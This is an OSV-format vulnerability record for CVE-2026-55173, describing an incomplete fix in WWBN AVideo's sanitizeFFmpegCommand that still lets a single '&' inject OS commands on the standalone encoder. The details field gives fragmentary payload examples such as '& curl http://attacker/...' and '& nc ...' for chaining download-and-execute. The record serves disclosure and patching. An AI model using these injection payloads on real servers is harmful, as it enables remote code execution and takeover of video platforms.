{"id":"CVE-2026-55173","summary":"AVideo incomplete fix for CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink","details":"WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \\n, \\r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the \u003e strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.","aliases":["GHSA-wc3f-xc32-435f"],"modified":"2026-07-19T03:31:01.890477936Z","published":"2026-07-16T20:41:26.345Z","database_specific":{"cwe_ids":["CWE-78"],"osv_generated_from":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55173.json","cna_assigner":"GitHub_M"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55173.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55173"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f"}],"affected":[{"ranges":[{"type":"GIT","repo":"https://github.com/wwbn/avideo","events":[{"introduced":"0"},{"fixed":"c1cfa2bea8a351a1d07f5758f82887403e3abf1f"}],"database_specific":{"source":["AFFECTED_FIELD","REFERENCES"],"extracted_events":[{"introduced":"0"},{"last_affected":"29.0"}]}}],"versions":["29.0","26.0","25.0","24.0","22.0","21.0","18.0","14.3.1","14.3","12.4","11.6","11.5","11.1.1","11.1","11","10.8","8.9.1","8.9","8.7","8.6","8.5","8.1","7.8","7.7","7.6","7.4","7.3","7.2","4.0","3.4","2.7","2.2"],"database_specific":{"source":"https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2026-55173.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}